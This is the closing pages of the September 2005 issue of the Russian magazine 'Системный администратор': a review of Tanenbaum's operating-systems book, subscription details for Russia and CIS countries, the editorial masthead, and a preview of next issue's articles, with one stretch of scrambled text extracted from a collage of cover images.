«Питер» и «Русская редакция» ! Год издания: 2005 ! Количество страниц: 992 ! ISBN: 5-469-0117407 ! Цена: ≈ 735 руб. Книга предоставлена издательством «Питер».
Операционные системы. Разработка и реализация Эндрю Таненбаум, Альберт Вудхалл
Думаю, эта книга не нуждается в представлении, и не ошибусь, если скажу, что это одна из самых ожидаемых книг на русском языке. Это издание (в оригинале, само собой) стало «настольной книгой», или даже «библией» для многих. Отчасти благодаря ей Линус Торвальдс создал Linux, да много чего еще произошло не без помощи трудов Таненбаума.
№9, сентябрь 2005
Собственно, а что в ней такого удивительного и уникального? Я думаю, это единственная книга по проектированию операционных систем, где теория настолько удачно сочетается с практикой. Предложенная в книге информация является фундаментальной основой для любого разработчика ОС (или желающего им стать). На протяжении всей книги в качестве наглядного примера приводится ОС MINIX, которую автор книги написал для обучения студентов, ОС UNIX, содержание UNIX-подобных систем «изнутри». Книга разделена на 6 больших глав, первая, по традиции это вводный метериал. Последняя представляет собой библиографию. На остальных главах остановимся более подробно. Процессы и нити: рассмотрены модели и реализация процессов, межпроцессорное
взаимодействие, планирование, реализация процессов. Ввод-вывод: принципы аппаратуры ввода-вывода, взаимоблокировка, блочные устройства, ram-диски, часы, терминалы. Управление памятью: подкачка, виртуальная память, алгоритмы замещения страниц, сегментация, обзор и реализация управления памятью в MINIX. Реализация файловой системы, безопасность и механизмы защиты. Отличная книга от известного специалиста.
! ! ! ! !
Издательство: Год издания: Количество страниц:
«Питер» 2005 576 ISBN: 5-469-00148-2 Цена: ≈ 578 руб. Книга предоставлена издательством «Питер».
Обзор книжных новинок подготовил Александр Байрак
93
подписка на 2006 год Российская Федерация
! Казахстан – по каталогу «Российская Пресса» через
Каталог агентства «Роспечать» ! Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» ! Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Агентство «ООО Урал-Пресс» (343) 375-62-74 ! Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru
! Беларусь – по каталогу изданий стран СНГ через РГО
! Подписной индекс: 81655
ОАО «Казпочта» и ЗАО «Евразия пресс»
«Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
! Узбекистан – по каталогу «Davriy nashrlar» российские
!
! !
СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
!
издания через агентство по распространению печати «Davriy nashrlar» (7000029, г. Ташкент, пл. Мустакиллик, 5/3, офис 33) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Давида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул. Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29) и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г. Тирасполь, ул. Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г. Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220
Подписные индексы:
81655 по каталогу агентства «Роспечать»
87836 по каталогу агентства «Пресса России»
94
подписка на 2006 год Редакционная подписка Открыта подписка через редакцию журнала «Системный администратор». Вы можете оформить подписку на любое количество номеров 2006 года. Редакция не высылает журналы за пределы Российской Федерации.
Для юридических лиц:
! Отправте заявку по факсу (095) 928-82-53 или по e-mail: info1@samag.ru.
! Укажите наименование и банковские реквизиты своей
организации, почтовый индекс и адрес доставки журнала, телефон и e-mail контактного лица, период подписки и количество номеров. Редакция выставит вам счет, после оплаты которого вы начнете получать журналы по почте. Необходимые бухгалтерские документы высылаются.
Для физических лиц:
! Заполните ниже преведенную квитанцию, оплатите в любом банке и пришлите в редакцию копию с отметками банка. ! После поступления платежа, редакцию начнет высылать вам номера.
№4 (2
№3(28) март 2005
подп 9) ww исно апре w.s й л am инде ь
2
00 ag.r кс По u 8165 5 5 Alt чтов хорошо, -N ая один монитор MD си Linux Xinerama: Ба aem сте а много лучше ма зова on ма рш я н кая редакция р русс а – у pix Win Knop т ст ов dow изато ройк удаленных файл ра а Ap Восстановление ach s Ser Cis ver co под Linux eк Ви ows Up ак рту не Microsoft Wind dat про ал FreeBSD в доме Ар eS ь кси н ая erv с п хиви on: -се ice ма Практикум Pythов по электронной почте ом руе рве ши s ощ м За р отправка файл на ью да щ – SV Win ита Ba нны ых в Linux IST cula е dow ко ключи Шифрование данн A на аппаратные №5 Си s M мму новый взгляд с и (30 н и т по o д ц bile ика )м оку ема д ww писн я процесса цеп ц заци w.s ой ай 2 м н с мати и о е Авто й к Оп нта озд По amag индек 005 5 баз 1С ие ции ани подключения 200 под тими Ищ чем .ru с 8165 бщ аль 5 5 PO я –о ем у M Lin зац щи QEMU евр 8165 помо я при ф D и и яция кс u ) пр S S ц Эмул Ст x яц (27 инде ич QL ро гра вка и е №2 исной .ru о W shell к т на ин м р и н ание лов PA м ag ин ия подп .sam рве Программиров х условиях ста -En защ ы едл w ная -се я у емы чен На ww ен ter ищ в экстремальны тем стр но кси ска систбеспе pris ен о е р ч Сис о ра й п аи Ка e, ную й ати но о бо C ва 80 ом ион ног тае уд к во ем TIN ьны 2. бес ал сс Авт ерац рамм т? UP ьс сал ен та S п 1x EA пров оп прог сет Чт вер ны но ов од P-T од ую уни е ф вит и н D – ь а Lin LS ную л жн Ус BS ай ь KS ux туа тан лы оз ree се р в F и SOC в с ть: на ко ав по иза fiixx рп ли ть им кур д t л tf о ы е s й р ор ва Эф BS р об o ы №7(32 Ст тод ати ем D ие еP IPпо фек одн ме подп ) ИЮЛЬ вн Sy тел баз ис дан ля ти : вв ые ww w. ной ин 2005 ой ma ми вн на де 2005н Соз sama еф инг Ко се nte g.ru кс 8165 ер (31) ИЮиНЬ ель 81655 x по о у он 5 индекс ти c оум ной u ль пр с п нтро ерв №6 н тg.ru и пис -р с in л подо и A Н L зо ав IP й астр ntiv ом ли п ama ва ля вы аива Доwww.s и под ностируем сти ощ ру iru Ин тел ем что ем K м. ью ем s9 Openциfix: диаг D: правно По ей erbe соз терв спа .0 OS без Xchan изаst анreяеeBмSнеис ros пода ью вA мPo ем SIM оп F ge – D ветрх пти и устр Есть ас елLDс Л Реж на ySQLLinux: своб но ао ем A P ар ик + ris без ли жиз Mk и оду ния сть фAs ник фо р я а te ан х ле гр нь и rl з р е тиви уппа т e ык Уо Т IP-те се руса м! ти ем t + Pмиссия а P лл а З а им ап т ? c зв уя ? erl ом на Frускаем Счи_ipac ько не ая сеть – eeBS spam Насколбеспроводн ng роли d D вые па Про ваша норазоа на сервер HTTPверяем № од зуем од -тра по 8(3 Испольаленного вх фик ww дпи 3) а rinting? rp сн вгу ge Н w на ас для уд лету траи ся от fin С .samaой ин ст 2 ваем па? щитить к мож g.ru декс 0805 Уста дескто WSU Как за 16 с L онку ет S честве 55 Postf навлив 10 в ка inu ри ли ix + аем св Solaris м! О р Ex x яз о chan -д ва PCУдал С цен rver ис т BS Пробуе ge ку SQL Se и п чита ите т ь D BIOS енно уп ем MS Setup равл ро ем Wr рибу Ускоря OS яем Н к т S BI ти Автом ва ва астр си-с раф py! цируем ми баз атизир ш аи ер ик ые Модифи 1С но ли в уе ? ве п ительн П 9.2 вой м под ро оч дополн с п рово чны аем верс клю в то nal Ищем ики дохода я ом ди ии 8. чени й с DS вы ни sio е Уп источн 0 ощ м па PAM fes х тле o а р а е r 5 A м- – ч ью уд и ste ощ 00 EP пе ен фи и S в ь 2 655 ч а S р u т r е е е а 81 is м O NA си ль нв аS вы есп тр R с ) я декс в е penM k-се уп ер об тив (26 ин ди o рв рав E тем :п ое №1 писной ag.ru ибу ы C ер ле ps ны six д мн стр по w.sam oo ом ни ко D, н йс –п ам ди ww ер п е е el огр уп ре рв зор пр Ад иров под ер вр Exc Об -се т в и в к а м ю l а л 16 и с ом ти а er ок bit нск нию аст м ищ Пр зP ны пью се ащ ed ие еи те ть й itio ск кз ви р! Ка ест n аз то! ки ос теш rl ие пр Пу Pe ен о в л т э ав ти пр ой T– Ни у O P ое ем t TS мн ист crip й HO ам й с BS S па ени 6 огр во ю V NTF сту рж ll Пр айло ощь до вто ewa ие ен ф пом его от Fir овл с бщ иты oute н о а т ия защ WinR сс ац Во из ет и rio ган рн Ke Ор Инт е нове в ос на 81655 подписной индекс www.samag.ru
Стоимость подписки через редакцию: 900* руб. за полгода 1800* руб. за год При оформлении подписки до 1 января 2006 года – скидка 10%
* Включая НДС и почтовую доставку
№9, сентябрь 2005
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №9(34), Сентябрь, 2005 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редакторы Андрей Бешков Валентин Синицын Кирилл Тихонов РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Дарья Хохлова reсlama@samag.ru Верстка и оформление maker_up@samag.ru Дизайн обложки Николай Петрочук По вопросам распространения обращайтесь по телефону: (095) 928-8253 (доб. 120) 107045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Сайт журнала: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 8400 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002 г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены.
96
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Scientific Linux – выбираем решение корпоративного уровня по цене носителя На проходившей в начале сентября в Москве выставке LinuxWorld Russia 2005 хорошо известная на отечественном рынке Linux-систем компания Линукс Инк (http://www.linux-ink.ru) представила общественности русифицированную версию дистрибутива Scientific Linux. Что же это за дистрибутив? На какого пользователя он нацелен и для каких задач стоит предпочесть его остальным? Ответы на эти вопросы вы узнаете из нашего обзора.
Управляем серверами в реальном времени с помощью WSH-сценариев На тему использования различных сценариев в задачах системного администрирования уже написана масса всевозможных статей. Особенно это касается Linux/UNIX-операционных систем, обладающих мощными языками сценариев, которые позволяют выполнять большое количество различных административных задач. А что же в Windows? В Windows имеется WSH (Windows Script Host) – основной инструмент для всех административных сценариев. Документация по WSH предлагает использовать сценарии преимущественно для сбора информации о системе, работы с файловой системой или изменении различных системных настроек. Однако
в этой статье речь пойдет об использовании сценариев для автоматизированного мониторинга и управления Windows-серверами.
Пример взаимодействия программы на Си с сервером PostgreSQL PostrgreSQL является эффективным средством для решения задач хранения и обработки информации. Разработчики этой СУБД предоставили интерфейсы для многих языков программирования. Поддержка таких языков, как Perl, PHP, Python обеспечивает широкое применение PostgreSQL в области веб-программирования. Также не оставлен в стороне и язык системного программирования Cи, что позволяет использовать эту СУБД в случаях, когда требуется добиться от приложения максимального быстродействия. Мы рассмотрим пример взаимодействия программы на Си и сервера баз данных PostgreSQL c использованием библиотеки libpq.
Как посчитать трафик в Linux Многие из вас в своей работе сталкиваются с задачей подсчёта расходуемого трафика в своей локальной сети. В следующем номере журнала читайте решение задачи учёта трафика, проходящего через шлюз локальной сети в Интернет, с помощью ipcad (Cisco IP accounting simulator).
Уважаемые читатели! Спешите оформить подписку на первое полугодие 2006 года! Приобрести новые и старые номера журнала вы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.
Доставка почтой в любую точку России.